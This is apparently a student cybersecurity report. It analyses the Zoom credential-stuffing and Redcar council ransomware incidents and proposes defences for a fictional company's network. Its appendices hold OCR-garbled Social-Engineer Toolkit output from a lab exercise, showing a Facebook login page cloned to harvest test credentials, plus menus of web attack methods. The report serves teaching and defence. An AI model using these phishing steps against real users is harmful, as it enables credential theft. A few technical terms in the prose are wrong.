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Zoom had an increase in users from 10 million in March 2020, to over 200 million in April 2020 due to the Coronavirus global pandemic [1]. Zoom is a video conferencing site that allows users to hold video conference meetings with their friends, family or can also be used corporately or in education. Due to the pandemic keeping everyone indoors because of lockdown rules and trying to minimise human contact where possible, people needed a way to communicate both commercially and socially. Due to this Zoom completely blew up and companies were using Zoom for work conference meetings as they were homeworking, University lecturers and school teachers were holding their classes on there and friends were using it so socialise and talk rather than meet in person.
The huge increase in users lead to more hackers using the site to conduct cyber-attacks on unknowing people due to some security flaws with the site. If the zoom reference number is shared on social media and the host does not configure the meeting so only the host can share their screen then anyone can join and share inappropriate imagery or they can share files if the settings have not been changed which could result in someone sharing malware to anyone in the meeting who clicks the link [2]. 
Half a million Zoom accounts up for sale on the dark web that had been breached. These accounts had been collected via credential stuffing, using username and password combinations that were obtained in past breaches of other companies [3]. A cybersecurity firm called Cyble discovered that at least 530,000 accounts listed for sale on the dark web hacker forums are legitimate and all containing the email addresses, passwords and host keys of the accounts which also contained personal information about the users [3]. Cyble also discovered that several accounts belonged to employees of banks and universities which hackers could benefit greatly from having access to these accounts such as intercepting bank account details or impersonate a person working at a bank. 
Due to Zoom having so many new users in a short amount of time, a credential stuffing attack should have been predicted and if the appropriate security measures were in place then it would not have happened or at least not to the extent of the number of people that were affected. Half a million accounts being compromised this indicates that Zoom did not have adequate security measures in place [3].
Credential stuffing attacks are more sophisticated than normal brute force attacks which try combining lists of username and password possibilities until it gets the correct one. Credential stuffing works by “choosing a target site then analysing the site’s login sequence and processes. A hacker can then create an automated script or use a configurable credential stuffing software to systematically test if the stolen credentials successfully log in to the target site” [3]. Hackers will mask their activity by using botnet-networks of computers controlled by the hacker which will make it look like a real user is attempting to log into their account on various computers until eventually the hacker is successful logging into the account and can take over the account [3].   
Other companies that deal with a large number of users have countermeasures of stopping credential stuffing from the user’s end which would have prevented this attack. One of these countermeasures is to check the usernames or email addresses and passwords of newly created accounts against lists of known breached credentials from other sites. If a user’s information is flagged as breached then the user is prompted to change their password. Users can also check this information themselves by going to a website such as ‘Have I been Pwned’ [3]. Another security measure that can be put in place by the owner of the website is a two-factor authentication method such as a code being creating on an app or fob, or a code be sent via text message, email or automated phone call. If this is in place a user must enter their username and password credentials as well as the code before being able to sign in which would stop hackers if they only had the username and password details [3].
Once the accounts have been breached hackers can do a lot more than just having personal data they can impersonate that person and with the file-sharing use of Zoom they send malware files or documents with malicious macros to the account’s contacts which would create a chain of data breaches much bigger than the initial credential stuffing attack [3].
The motive of the attack is the most common motive with most cyber-attacks which is money. Although the accounts were being sold for reportedly $0.0020 due to how many accounts they got hold of there was still big profits to be made and with very minimal effort as the information which allowed them to get into these accounts were from previous attacks that the attackers made not have even been a part of. Another motive for the attack was enjoyment by ‘trolling’ their victims by doing things such as ‘zoombombing’ where the attacker joins a meeting and shares inappropriate content to the rest of the members in the zoom meeting. Many of the accounts that had been compromised were business and university accounts so to do these acts on one those meetings would be very indecent and could get employees or students in trouble if the attacker was impersonating someone.
The method used to implement the attack was a credential stuffing attack. The attackers used an automated script or credential stuffing software to enter credentials that have been leaked from a previous cyber-attack and the users were not notified of it or still hadn’t changed their password. The hackers used botnet-networks of computers to make it look like real users attempting to log in from different computers so that it does not look suspicious and they can keep attempting to log into different accounts without getting locked out. Once the accounts had been successfully logged into the hackers have full control of the account and can do whatever they please with it, in this case, sell the stolen details on dark web hacker forums.   
Zoom’s weak point in this attack was the lack of countermeasures against credential stuffing. If they had a system that checked email addresses against passwords of newly created accounts against a list of known breached credentials then they could have notified the users to change their password. Another countermeasure against this that Zoom could have put in place is to have a two-factor authentication login, where a user cannot sign into their account without receiving a code from a text message once their mobile number has been verified which would stop any hacker being able to sign in to a user’s account with just their email and password credentials.
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In February 2020, Redcar and Cleveland Council got hit with a cyber-attack that saw 135,000 users unable to access online public services due to all of the councils IT systems being taken down. Online appointment bookings, planning documents, social care advice and council housing complaints systems were among the online services that were taken down [4]. The UK’s National Cyber Security Centre (NCSC) was brought in to help bring the services back online. The attack was initially reported as just ‘An issue with the IT system’ but it was later revealed by the council leader that it was, in fact, a ransomware attack. Redcar and Cleveland Council’s servers were down for three weeks which was very costly, reportedly costing the council around £10 million [4].  
For three weeks all council staff were told they could not use any council computers and instead had to rely on pen and paper which is extremely difficult in this era with companies being so reliant on IT systems for the business to operate functionally. This slowed down or even brought most of the council’s services to a stop. A new website and server was built however, a lot of the systems that the public use were still down which was very frustrating for the public [5].  
Although the exact details of the attack have not been revealed by either Redcar and Cleveland Council or the NCSC due to it still being the subject of an ongoing criminal investigation, after 3 weeks of the attack first being announced Redcar and Cleveland council confirmed it was a ransomware attack after this being speculated by many [6]. Admitting this showed the hackers had full control of the council’s systems and potentially sensitive data. The only way to retrieve the data and get the systems back online is by either paying the cybercriminals or build the systems from scratch using offline backups which is extremely expensive. As the council is part of the public sector it is much more difficult to deal as the public will want full transparency as it is essentially their tax money. Paying the cybercriminals can be seen as unethical as they would be earning a lot of money illegally however, it is often a cheaper method than rebuilding everything from scratch but cyber experts advise against this as there is no guarantee the hackers will unlock the systems and give back the data and the malware will still be on devices [6].     

Ransomware is a type of malware that attackers can use to lock a device or in this case an entire network until the owner pays a sum of money to the attacker. This attack is becoming extremely popular due to it potentially giving a massive return on investment and how easy it can spread across an entire network. Ransomware is typically spread by tricking users into downloading malicious email attachments which prompt scripts to automatically run on their system [7].

The motive of this attack is mainly financial, cyber attackers will try to earn as much money as possible when picking targets to attack. By taking down the councils IT systems the attackers knew how critical these systems were to the council’s operations so they demanded money a large sum of money as they thought they would be desperate to get their IT systems back online and recover their data. 
Although the details of the attack have not been released, the most common way ransomware is spread is by a user clicking on a link or downloading a file on a malicious email which will then run scripts on the PC that this occurred on which then spreads the malware to other PCs on the network in attempt to affect every machine on a network for maximum damage in attempt to make more money.
The weak point of Redcar and Cleveland Council was the lack of security procedures and a disaster recovery plan in place to stop the spread of this attack. It can be difficult to stop all users on a network making mistakes that can lead to an attack such as clicking on malicious links or opening documents containing malware however, there must be security systems and procedures in place so that if a virus does get on a single PC it does not spread to other PCs on the network. If the users were taught properly how to deal with the situation then it would not have happened to this extent. Users must be regularly reminded not to click on suspicious emails and what to do if they do accidentally do this, if the affected PC was switched off or disconnected from the network then it cannot spread. Also, security measures can be put in place such as blocking any USB device that a user plugs into a PC unless it is approved by the IT department which could stop a virus getting on the network.   
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Diamond Financial Ltd was hit with a credential harvester attack which is an information gathering attack used to obtain a users’ email/username and password so the attacker can then use those credentials to log into that account. Appendix A shows screenshots of the attack working. The attack clones a site that the victim uses then when the victim enters their username and password they will get sent to the real site but victims log in credentials are sent to the attacker. 
To prevent this from happening again in the future many security procedures can be put in place to stop this. The first of which is by implementing an anti-phishing and email security tool that will filter out emails that are spam and remove any malicious content from emails before they are forwarded onto the mail server and a user can receive the email. If emails containing links to sites such as a fake credential harvester attack can’t get through to users then it will greatly limit the chance of that attack happening.
Another security feature that can be implemented is to have two-factor authentication so that even if a users’ credentials have been breached then the attacker still cannot log into the users account without the 2FA method such as text message containing a code. If the company does not want to implement this method then making users change their password every 30, 60 or 90 days will also help to prevent this attack also. 
Although this will not prevent the attack, controlling who in the company has administrative rights can limit the damage that the attacker can do with the account they have access to. If the account only have basic privileges then they are limited as to what they can do on the network whereas with administrative privileges could potentially take down the whole network.
Another measure that can be done is to constantly educate their employees about the dangers of cybersecurity attacks and made them do an online course on cybersecurity before giving them access to the network. Users should be able to look out for suspicious emails is they do get through the filter and for them not to click if they do not know what they are or open any attachments. Doing this is extremely important to preventing another cyber-attack as even with security procedures in place some attacks can still find their way to a user who must response correctly.
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Diamond Financial Ltd were victim of a credential harvesting attack so since then they are upping their security and changing their security posture to prevent another cyber-attack happening or at least lower the risk and be better prepared for it another attack happens so that it does less harm to the business. 
Although the gathering information attack was harmful it is nowhere near as harmful as a gaining access attack which would see the companies network taken down and could cost tens or hundreds of thousands to repair the damages depending on the attack. If there was a ransomware attack where all of the computers and servers on the network had been taken control by hackers then they might have to completely rebuild the system. 
Due to how serious these attacks can be it is very important to do everything possible to prevent one of these attacks happening. A very useful way of stopping one of these attacks is to use a piece of software called Nessus which scans all of the devices on the network and shows any vulnerabilities that could be exposed by an attacker. Appendix B shows screenshots of a desktop being scanned for vulnerabilities showing which ports on the PC are open and what can be exploited to gain access to the targetted PC. 
By exposing these vulnerabilities on the network Diamond Financial Ltd can make the changes so that all the devices on the network are no longer vulnerable preventing a future attack. The PC that was scanned is on Windows 7 which is an operating system that is no longer being supported so it is extremely vulnerable to an attack such as a ransomware attack. Windows 7 devices are far more susceptible to these attacks as Microsoft are no longer releasing security patches and are not actively trying to prevent these attacks on Windows 7 devices as they have recommended to all users that they should upgrade to Windows 10. 
The first step that needs to be done to prevent a malware attack is to upgrade all of the Windows 7 devices on the network to Windows 10 immediately. Doing this will greatly reduce the chances of an attack as if an attacker saw Windows 7 devices on a network of a company where they thought they could earn a good amount of money they would see this an easy target and try to attack one of the Windows 7 devices straight away to get into the network and take over the PCs on the network and demanding money before unlocking the computers.
Another way of preventing a malware attack is by using mail and web filtering, the two most common ways of getting malware on your device are by clicking on a link or downloading a file on a malicious email or by going to a website with malicious content on there. By having mail filtering it will block most emails containing malicious content getting through the mail server and a web filter will block known websites that have malicious content on them [9].
Another way of preventing a malware attack is by keeping windows updates, antivirus software and all other applications on the network up to date with the latest security patches. Having outdated devices or applications on the network can cause vulnerabilities than attackers could exploit. If there are any devices on the network that aren’t up to date with the latest security patches then an attacker could gain access to the one device which could compromise the network that the PC is connected to and the same for user applications that are being used on the network [9].
[bookmark: _Toc62830501]Part 2

Che-Si are a construction based company that have site offices all over the world, they allow connection to their network 24/7 from anywhere to allow for their staff, clients and vendors to work more effectively but this also comes at a cost of security. To make their operations productive and superfast their existing security policies allow their users to access their network from any location and from any device including personal devices. Although this is very convenient for users to be able to access their work it is not secure and is very prone to a cyber-security attack which could see the entire network be taken down by cybercriminals. For this reason, new security procedures must be put in place to prevent an attack such as this happening.

I have designed a simulated network in packet tracer to display how the network could look and how it can prevent various attacks with its many security features. Screenshots of network topology in Appendix C.  The first security feature I will discuss is a firewall, this will prevent any devices outside of the network accessing any computers, servers or switches inside the network. This was implemented due to a security risk that the previous to Che-Si network had where any device could connect to the network from anywhere which is a major security flaw as it makes penetrating the network much easier for an attacker trying to get in. With the new firewall, users will not be able to access the network an outside connection without a secure VPN connection that will require two-factor authentication and will only work if it has been authorised by a system administrator. 
The two main functions of the firewall are packet filtering and work as an application proxy. In packet filtering, the firewall looks at each data packet as it comes to or leaves the computer network. While it’s examining these packets it uses user-defined rules to determine whether to access or reject the packet. It works as a gatekeeper that determines what can pass through due to system monitoring and the network rules. The other main function is to work as the application proxy, as the packet filtering can’t recognise malware trying to breach the network as it doesn’t understand the entire application but a firewall acting as an application proxy can stop information between inside the network and outside the network because it understands the application being used so it can stop the malware getting through, preventing a breach in the network [10].
Firewall configuration in Appendix D.

The second security feature that I will discuss is an IPsec VPN tunnel, this provides a secure connection between building sites. To create the IPSec VPN tunnel I had to make an access list to allow traffic only from 172.16.1.0/24 and 172.16.3.0/24 to be encrypted over the tunnel, therefore, any other IP addresses will not be able to communicate with the other side as it has a deny any at the bottom of the access list not encrypting traffic from any other subnets. Although this just shows two sites Che-Si couple implement this security feature all over the world to multiple sites.
When local users want to communicate to other users from one site to another [image in appendix], these packets will go through the VPN tunnel on the internet and be encrypted via the router on one side and then decrypted on the router on the other side. Not only is this a way of securing the data being transferred but it will save the Che-Si money as they will not need to have fibre between their different sites as the cost of running fibre between sites is very expensive, so this method is a way to secure communication via the internet. 
A pre sharked key will be configured on both sides of the router, so when a router in one office encrypts the packet then only the router that the packet was sent to in the other office with the psk can then open it, therefore making it secure to cyber-attacks or someone sniffing traffic who could intercept confidential information and view it if it was not encrypted. 
The VPN site to site is configured in two phases, in the first phase the VPN devices negotiate an IKE security policy, and then authenticate each other and establish a secure channel. In the second phase, the devices negotiate an IPsec security policy to protect the data inside of the payload of the packet. This is a type of Cryotherapy, which transforms readable messages into unattainable form and then later reverses the process. It can be used to send sensitive data securely over an untrusted network. This is called symmetric encryption, which uses the same shared key to both encrypt and decrypt the data, the shared key is known by both sender and receiver and must be kept a secret. If a computer in one site is sending confidential data to the other site, this will hit the router and then encrypt the packet with the shared key and translates it into garbage data which can only be opened with the same psk on the other site. 
IPsec VPN Tunnel configuration in Appendix E.

The entire simulated network is set up with DHCP enabled so that when new devices are plugged into the network, a static address will not have to be assigned. This decision was made because Che-Si is a very large company so they have lots of employees in each site so it would take too long to individually configure each device with a static IP address. 
As well as this another security feature that has been implemented into the network design is DHCP snooping has been enabled on all of the ports on the switches in the offices on the simulated network. DHCP Snooping is used to prevent rogue DHCP servers offering out incorrect IP addresses. A PC on the local area network will start DORA (discovery, offer, request, and acknowledgement) the PC will send a Discover message out onto the network which is a broadcast message to everyone inside of the VLAN, the switch will then flood that discovery to all nodes in the VLAN and then the DHCP will reply with the PC`s IP address, subnet mask, DNS server and default gateway. DHCP snooping prevents the offers coming from rogue DHCP servers or attackers trying to offer the PC`s on the network incorrect IP addresses or default gateways which would affect communication. When configuring a trusted port this will only allow the offer back from the server, rather than from a rogue DHCP server or attacker, so therefore by trusting the port that is connected to the known DHCP server it would allow it but will deny untrusted ports preventing an attacker gaining access. 
DHCP snooping configuration in Appendix F.

Another security feature that was implemented when configuring the designed network was configuring different VLANs for the devices on the network to go into. This is done so that if an attacker managed to breach one of the VLANs then they could only affect devices on that VLAN whereas if all of the devices on the network were on one VLAN and an attacker breached that VLAN then they could take down all of the devices rather than a handful with the correct configuration. Another reason why I configured different VLANs is not to use VLAN 1, this is due to VLAN 1 being the native VLAN on a Cisco switch so it is best practice to change to using a different one. 
VLAN configurations in Appendix G.

Another security feature this designed network includes is dynamic ARP inspections which is configured on the routers and layer 3 switches on the simulated network. This examines the incoming ARP message on any untrusted ports. DAI determines the validity of an ARP packet based on a valid MAC address to IP address binding stored in a trusted database [11]. This database is built at runtime by DHCP snooping which is a feature previously implemented. This would prevent a man in the middle or spoofing attack as if an attacker managed to intercept a packet containing the IP address of a device on the network then if they tried to pretend to be that device using the stolen IP to gain access to the network it would be denied as the MAC address for that IP address would be different to the one stored in the trusted database blocking the attackers attempt to breach the network.
Dynamic ARP Inspection configuration in Appendix H.
 
Another security feature that has been configured on the routers and switches on the designed network is Spanning-tree BPDUguard, this protects the spanning-tree topology in the network. By default spanning-tree will send a receive BPDUs (Bridge Protocol Data Unit) on all interfaces, if an attacker used a tool to generate BPDUs with a superior bridge ID a switch could think that the root bridge could be reached through the wrong switch which would cause a spanning tree re-calculation. Due to this, an attacker could do a man in the middle attack going unnoticed. So to prevent this enabling this feature will shut down the port if an attacker tried to generate BPDU’s preventing the attack from happening [12].
Spanning-tree bpduguard configuration in Appendix F.







Another security feature that will be implemented is an Antivirus and anti-malware software, this will monitor network traffic for malware, it will also scan activity log files for signs of suspicious behaviour or long term patterns and offer threat remediation capabilities [13]. It will also notify the users if the device they are using has been infected and network monitors such as the IT department will also be notified of the breach. The most common antivirus software being used now is Windows Defender which is more than adequate when Windows brought out Windows 10 they made it a key feature that they were going to improve Windows Defender so that their users would not have to buy antivirus software but still be protected from threats. You can still buy antivirus software but I advise to Che-Si to just use Windows devices and use Windows Defender rather than spending money on buying antivirus software when they can spend that money on other security feature that will benefit them more.

Another feature that will be implemented is to set all user permissions to the correct levels. It is very important that not all users on the network have administrative privileges as if a user’s account with basic permissions is compromised then the attacker is limited to what they can do. However, if the hacker was on an account with administrative privileges they could do a lot of harm, potentially even taking down the whole network as almost everything would be unblocked such as running scripts as an administrator. By setting users permissions it will also stop users being able to see saved documents on the shared network drives which could cause data breaches. By setting correct privileges on the network users will only have access to the files they are supposed to be able to see. When setting permissions to 3rd party accounts such as client or vendor accounts they should have very limited permissions as they are the accounts they are most likely to be compromised by an attacker. 
   
Another feature that will be implemented into the new network is to always keep all the programs being used up to date and patched to prevent cyber attackers from exploiting vulnerabilities [13]. By not having programs up to date it can sometimes be a way for cyber attackers to find backdoor ways of penetrating the network such as ports open that are no longer being used that was opened for an application that is no longer in use. As well as keeping applications up to date it is also just as important to update hardware, they should be no computers on the network with an unsupported operating system such as Windows 7 or a device without any antivirus installed. By having just one device on the network with either of these security flaws it is a compromise to the entire network as those devices are connected to other devices such as computers and servers. By breaching the device with an unsupported OS or no antivirus an attacker could then attack other devices on the same network. 

Another feature that will be implemented is data loss prevention technologies to stop users from sharing valuable company information or sensitive data whether they do it with malicious intent or by accident [13]. One technology is that any USB flash drive or portable memory device will be blocked by all users if they attempt to plug it into their device. This will stop users being able to copy data from their device onto their USB drive but will also stop attacks where a USB is plugged into a PC to infect it with a virus or malware. Another DLP technology is to monitor the network to see if users have emailed attachments to personal emails that is containing confidential information that they should not be sending to personal email addresses. It can also be set so they when users are using a device that is not on the network such as when working from they cannot print to stop users printing off confidential data they are not supposed to be doing. 

Another security feature that will be implemented to the network is a distributed denial of service prevention tool. DDoS attacks are becoming more common so there needs to be prevention measures in place to stop these attacks from happening. They work by overloading a network with one-sided connection requests that eventually cause the network to crash [13]. This can be very disruptive as it can take down the network stopping users from doing any work until the network is rebooted and unless there are prevention measures in place if the attack successfully does it once they can keep doing it which can be very costly for a company as they lose production. A DDoS prevention tool will prevent this from happening by scrubbing incoming traffic to remove non-legitimate traffic that could threaten the network. 
A change to the security posture is that users passwords will no longer be required to change their password every 90 days, the password will never expire but it will be much more complex containing 15 characters with uppercase, lowercase, numbers and special characters. This change is being made as most users just change their network passwords by changing the password by changing a single number at the end of the password so by having one complex that will never expire it will be harder for cyber attackers to breach this password as it is much longer and more complex. Also, two-factor authentication is required to use the VPN when agile working and also to use mobile devices to access emails etc. as if a user’s device is stolen or breached when outside of Che-Si’s offices they will require the two-factor authentication as well as the user’s credentials to do anything with the stolen or breached device which will be difficult.

Another security feature that will be implemented is a secure way for employees and clients to access the data on their mobile devices and tablets. Users shouldn’t be able to access their data from their personal phones without any authentication as it means that cyber attackers will be able to easily exploit this flaw in the network. Now to be able to access the network on their mobile devices or tablets users will have to go through Microsoft Authenticator which is a two-factor authentication method that they will have to sign into to get a code as well as entering their company credentials before getting access to their work email address or documents. By implementing this it limits device access to the network which will stop vulnerable ways of getting into the network if an employee’s phone was stolen or hacked [13].

Another security feature that will be implemented into the network is a security information and event management system which combines host-based and network-based intrusion detection systems that combine real-time network traffic monitoring with historical data log file scanning. This scans the network traffic for suspicious activity, policy violations, unauthorised access and signs of potentially malicious behaviour so that it can block these attempted intrusions [13].

Another feature that will be implemented is to ensure that the web filtering works so that it blocks known websites that contain malicious content and inappropriate sites. This is due to websites being one of the easiest places for malware to get infected on devices if users click on links that can execute tasks or enter their company credentials to phishing websites so by having a good web filter it will prevent this from happening.

Another feature will be implemented into the network and is very important is email security. Emails are used many times every day and are a key and fundamental feature of a company’s everyday work, many members of staff would not be able to do their jobs without the communication of email. Due to it being used so much it is also susceptible to cyberattacks such as links and files containing malware and viruses so it is important that users are not only trained not to click on suspicious emails but to have security features in place to try stopping the malicious emails coming through in the first place.
One of these features is spam filtering, this blocks or quarantines emails from known spam email domains and uses algorithms to detect patterns that commonly show up in spam emails such as keywords and malicious links which will block new spam emails from entering user’s inboxes. They also allow users to block and report spam emails that do make it through the filtering [14].
Another security feature for email security is phishing protection, by having this security feature in place it will prevent phishing attacks by using anti-fraud technologies. It can spot and prevent sender spoofing, use domain name validation to identify and block phishing attacks. It will also remove emails with malicious URLs and attachments which will stop emails with links to phishing websites from entering a user’s inboxes [14].
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A. Gathering information – credential stuffing attack 
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B. Gaining Access – Nessus Software
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D. Firewall
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E. IPsec VPN Tunnel
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F. DHCP Snooping and Spanning-tree bpduguard enable
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G. Separate VLANs
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H. Dynamic ARP inspections
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The second method will completely clone a website of your choosing
and allow you to utilize the attack vectors within the completely
same web application you were attempting to clone.

The third method allows you to import your own website, note that you
should only have an index.html when using the import website
functionality.

1) Web Templates
2) site Cloner
3) custom Inport

99) Return to Webattack Menu

set:webattack>2

[-] Credential harvester will allow you to utilize the clone capabilities w
ithin SET

[-] to harvest credentials or parameters from a website as well as place th
e into a report
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- % IMPORTANT * READ THIS BEFORE ENTERING IN THE IP ADDRESS % IMPORTANT * ——

The way that this works is by cloning a site and looking for form fields to
rewrite. If the POST fields are not usual methods for posting forms this
could fail. If it does, you can always save the HTML, rewrite the forms to
be standard forms and use the "IMPORT" feature. Additionally, really
important:

If you are using an EXTERNAL IP ADDRESS, you need to place the EXTERNAL
1P address below, not your NAT address. Additionally, if you don't know
basic networking concepts, and you have a private IP address, you will
need to do port forwarding to your NAT IP address from your external IP
address. A browser doesns't know how to communicate with a private IP
address, so if you don't specify an external IP address if you are using
this from an external perpective, it will not work. This isn't a SET issue
this is how networking works.

set:webattack> IP address for the POST back in Harvester/Tabnabbing [10.0.2.15]:10.0.2.15

1 SET supports both HTTP and HTTPS
-1 Example: http://wm.thisisafakesite.com
set:uebattack> Enter the url to clone:https://wmi.facebook.com/

[*] Cloning the website: https://login.facebook.con/login.php
[*] This could take a little bit ...

The best way to use this attack is if username'and password form fietds-arejavailable Regard

less, this captures all POSTs on a website

[*] The Social-Engineer Toolkit Credential Harvester Attack
[*] Credential Harvester is running on port 80

[*] Information will be displayed to you as it arrives below
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10.0.2.15 - - [22/3an/2021 12:49:49] "POST /ajax/webstorage/process_keys/?stat:
02 -

[*] WE GOT A WIT! Printing the outpu
PARAM: jazoest=2857

PARAM: 1sd-AV0f4G27te0

PARAM: display=

PARAM: enable_profile_selector=

PARAM: isprivaty
PARAM: legacy_return=0

PARAM: profile_selector_ids=

PARAM: return_session=

POSSIBLE USERNAME FIELDFOUND: sKiplapi login=
PARAM: signed_next=

PARAM:
PARAM:
PARAN: y331§020DQuLCIOTj0XODT4LCIhdy T6MZgOMCwiYWEi03EINSYS InHi0I TOFo=
PARAM: 94711 _Kyvi

PARAM: 1gnjs=1611337649

POSSIBLE USERNAWE FIELD FOUND: email=TestUsername

POSSIBLE PASSWORD FIELD FOUND:jpass=fiestpassword

PARAM: prefill_contact_poin:
PARAM: prefill_source
PARAM: prefill_typ
PARAM: first prefill_source=
PARAM: first_prefill_typ:
PARAM: had_cp_prefilled-false

POSSIBLE PASSWORD FIELD FOUND: had_password_prefilled=false

PARAM: ab_test_data=AAZMZ/AZAMZATMAAAAAAZZNAZAAAMATAAAAMAAAA/ CHVHAARAAPAAF
[*] WHEN YOU'RE FINISHED, HIT CONTROL-C TO GENERATE A REPORT.

HTTP/1.17 3
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The Social-Engineer Toolkit (SET)
Created by: David Kennedy (ReL1K)
Version: 8.0.3
Codename: 'Maverick

1 Follow us on Twitter: aTrustedsec

] Follow me on Twitter: aHackingDave

1 Homepage: https://wm . trustedsec.com
Welcome to the Social-Engineer Toolkit (SET).
The one stop shop for all of your SE needs.

The Social-Engineer Toolkit is a product of Trustedsec.
Visit: https://wm.trustedsec.com

It's easy to update using the PenTesters Framework! (PTF)
Visit https://github.con/trustedsec/ptf to update all your tools!

Select from the menu:

1) Spear-Phishing Attack Vectors

2) Website Attack Vectors

3) Infectious Media Generator

4) Create a Payload and Listener

5) Mass Mailer Attack

6) Arduino-Based Attack Vector

7) Wireless Access Point Attack Vector
8) QRCode Generator Attack Vector

9) Powershell Attack Vectors
10) Third Party Modules

99) Return back to the main menu.
set> 2

The Web Attack module is a unique way of utilizing multiple web-based attac
ks in order to compromise the intended victim.

The Java Applet Attack method will spoof a Java Certificate and deliver a m
etasploit based payload. Uses a customized java applet created by Thomas We
rth to deliver the payload.
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The Credential Harvester method will utilize web cloning of a web- site tha
t has a username and password field and harvest all the information posted
to the website.

The TabNabbing method will wait for a user to move to a different tab, then
refresh the page to something different.

The Web-Jacking Attack method was introduced by white_sheep, emgent. This m
ethod utilizes iframe replacements to make the highlighted URL link to appe
ar legitimate however when clicked a window pops up then is replaced with t
he malicious link. You can edit the link replacement settings in the set_co
nfig if its too slow/fast.

The Multi-Attack method will add a combination of attacks through the web a
ttack menu. For example you can utilize the Java Applet, Metasploit Browser
+ Credential Harvester/Tabnabbing all at once to see which is successful.

The HTA Attack method will allow you to clone a site and perform powershell
injection through HTA files which can be used for Windows-based powershell
exploitation through the browser.

1) Java Applet Attack Method

2) Metasploit Browser Exploit Method
3) Credential Harvester Attack Method
4) Tabnabbing Attack Method

5) Web Jacking Attack Method

6) Multi-Attack Web Method

7) HTA Attack Method

99) Return to Main Menu





